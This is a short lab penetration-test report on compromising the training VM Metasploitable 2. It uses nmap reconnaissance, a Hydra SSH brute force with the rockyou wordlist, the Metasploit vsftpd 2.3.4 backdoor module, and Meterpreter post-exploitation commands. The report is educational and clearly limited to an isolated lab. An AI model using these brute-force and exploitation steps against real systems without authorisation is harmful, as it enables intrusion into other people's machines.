

Penetration Testing Report

Practical Exploitation of Metasploitable 2 using Metasploit Framework

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Executive Summary

This report documents a controlled ethical penetration test performed on Metasploitable 2, a deliberately vulnerable Linux system designed for security training. The test successfully demonstrated full system compromise using reconnaissance, brute force, and remote exploitation techniques.

Lab Environment

- **Attacker Machine:** Kali Linux (IP: 10.0.2.15)
- **Target Machine:** Metasploitable 2 (IP: 10.0.2.4)
- **Virtualization:** Oracle VirtualBox
- **Network:** Host-Only Adapter

Tools Used

- Nmap
- Hydra
- Metasploit Framework (msfconsole)
- Meterpreter

Attack Phases

Phase 1: Reconnaissance - Command: `nmap -sV -O 10.0.2.4` - Command: `nmap --script vuln 10.0.2.4` - Key Finding: vsftpd 2.3.4 Backdoor (CVE-2011-2523) on port 21

Phase 2: Brute Force Attack - Tool: Hydra - Command: `hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt -t 4 ssh://10.0.2.4` - Result: Credentials cracked (msfadmin:msfadmin)

Phase 3: Exploitation - Module: `exploit/unix/ftp/vsftpd_234_backdoor` - Successfully gained Meterpreter session

Phase 4: Post-Exploitation - Commands executed: `sysinfo`, `getuid`, `whoami`, `shell`

Key Learnings

- Dangers of outdated services and weak/default passwords
- Power of Metasploit Framework in exploitation
- Importance of system hardening and regular patching

Ethical Note

This project was conducted in a completely isolated virtual lab environment for educational purposes only. No real or production systems were targeted.

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